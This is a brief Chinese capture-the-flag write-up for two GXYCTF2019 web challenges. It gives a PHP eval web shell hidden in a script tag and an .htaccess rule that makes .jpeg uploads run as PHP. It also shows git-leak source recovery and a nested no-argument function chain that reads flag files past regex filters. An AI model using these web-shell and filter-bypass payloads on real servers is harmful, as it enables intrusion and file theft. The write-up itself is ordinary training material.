20211117

[GXYCTF2019]BabyUpload

先上传几个正常图片测试,jpeg能用

上传shell过滤了<?

<script language="php">eval($_POST['cmd']);</script>

绕过,上传.htaccess

AddType application/x-httpd-php .jpeg

把system过滤了

可以用var_dump打印

var_dump(scandir("/"))
var_dump(file_get_contents("/flag"));

[GXYCTF2019]禁止套娃

先githack把git扒下来,有个index.php

代码审计,过滤的比较多

1
2
3
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) { #把伪协议读取flag.php给ban了
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) { #套娃过滤(无参数过滤) 需要构造一个类似这玩意的东西a(b(c(d(e(f())))));
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) { #过滤函数关键字

然后开始构造

show_source(next(array_reverse(scandir(current(localeconv())))));